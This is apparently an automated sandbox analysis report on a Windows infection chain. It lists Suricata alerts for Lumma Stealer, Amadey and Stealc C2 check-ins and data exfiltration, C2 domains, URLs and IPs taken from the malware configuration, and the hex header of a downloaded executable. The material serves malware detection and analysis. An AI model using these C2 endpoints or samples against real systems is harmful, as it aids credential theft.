Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50138 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 96b4cd4489.exe, 0000000A.00000003.2458240806.000000000514B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000000.2547440322.000000000009C000.00000008.00000001.01000000.00000012.sdmp, 96b4cd4489.exe, 00000022.00000003.2658688178.0000000004E8B000.00000004.00001000.00020000.00000000.sdmp, num[1].exe.8.dr
Source:	Binary string: my_library.pdb source: 96b4cd4489.exe, 0000000A.00000003.2458240806.000000000514B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000000.2547440322.000000000009C000.00000008.00000001.01000000.00000012.sdmp, 96b4cd4489.exe, 00000022.00000003.2658688178.0000000004E8B000.00000004.00001000.00020000.00000000.sdmp, num[1].exe.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe, 00000002.00000003.1890583615.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe, 00000002.00000002.2023654046.0000000000312000.00000040.00000001.01000000.00000006.sdmp, LY9L8IB5BIZFUZH5SXM3A25NO.exe, 0000002B.00000003.2758643971.0000000004C90000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: number of queries: 1554
Source: C:\Users\user\Desktop\file.exe	Directory queried: number of queries: 1001

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 189MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:55147 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:53703 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:58895 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:52802 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:63455 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49786 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49800
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:63843 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:50170 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:56701 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49835 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:59931 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49829 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49841 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49864 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49877 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49876 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49876 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49876
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49876 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49876
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49896 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49876 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49897 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49911 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:61189 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49925 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49938 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:63760 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:56058 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49929 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49953 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:58206 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:61461 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49977 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:61050 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49986 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50010 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50016 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50014 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50027 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50034 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50051 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50052 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:63019 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49992 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50058 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49862 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50074 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49960 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50077 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50101 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:52797 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50109 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50117 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50112 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50120 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49994 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50122 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:58707 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:57975 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:63022 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50128 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:51138 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50131 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50133 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50132 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50134 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50135 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50137 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50138 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49841 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49841 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49835 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49835 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49862 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49929 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49953 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49953 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49938 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49938 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49992 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49992 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50014 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50014 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50101 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50117 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50128 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50128 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50131 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50131 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50109 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50137 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50120 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50138 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:37:15 GMTContent-Type: application/octet-streamContent-Length: 2812416Last-Modified: Thu, 31 Oct 2024 21:45:05 GMTConnection: keep-aliveETag: "6723fa61-2aea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 68 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 75 6d 74 7a 74 7a 72 00 a0 2a 00 00 a0 00 00 00 8a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 61 69 68 67 71 72 00 20 00 00 00 40 2b 00 00 04 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
